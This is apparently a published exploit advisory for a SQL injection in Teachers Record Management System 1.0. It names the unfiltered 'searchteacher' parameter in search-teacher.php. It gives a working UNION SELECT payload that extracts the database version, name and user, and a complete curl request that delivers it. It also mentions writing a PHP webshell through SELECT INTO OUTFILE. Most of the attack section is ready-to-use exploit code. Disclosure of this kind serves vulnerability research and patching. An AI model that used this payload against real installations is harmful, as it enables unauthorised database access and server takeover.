Teachers Record Management System version 1.0 suffers from a remote SQL injection vulnerability.
5dd8f20ad5e6344f4277209100603d6b898b39c5356e93c1737c54112d7a9311
# Exploit Title: Teachers Record Management System 1.0 - 'searchteacher' SQL Injection
# Date: 2020-07-14
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10739
# Version: v1.0
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)
Vulnerable File:
----------------
/search-teacher.php
Vulnerable Code:
-----------------
line 73: $sdata=$_POST['searchteacher'];
Vulnerable Issue:
-----------------
$sdata=$_POST['searchteacher']; is not filtered correcty
[+] Any unauthenticated user can inject the following payload inside the Search y Subject Form
[+] Attacker can inject php webshell using SELECT INTO OUTFILE method through this entry point
[+] The result will be displayed as the image name or from the view-source line 115 : (Ex: <td><img src="admin/images/5.7.11:trms:root@localhost"
height="100"></td>)
POC:
----
Payload:
gh1mau' UNION ALL SELECT NULL,NULL,CONCAT_WS(0x3a,version(),database(),user()),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&search=
Sample Request:
curl -i -s -k --location --request POST 'http://localhost:80/trms/search-teacher.php' \
--header 'Origin: http://localhost' \
--header 'Cookie: PHPSESSID=g0v05i144dnr9bud7j1mb6n167' \
--header 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' \
--header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0' \
--header 'Connection: close' \
--header 'Referer: http://localhost/trms/' \
--header 'Host: localhost' \
--header 'Accept-Encoding: gzip, deflate' \
--header 'Upgrade-Insecure-Requests: 1' \
--header 'Accept-Language: en-US,en;q=0.5' \
--header 'Content-Length: 193' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'searchteacher=gh1mau%27+UNION+ALL+SELECT+NULL%2CNULL%2CCONCAT_WS%280x3a%2Cversion%28%29%2Cdatabase%28%29%2Cuser%28%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--+-%26search%3D&search='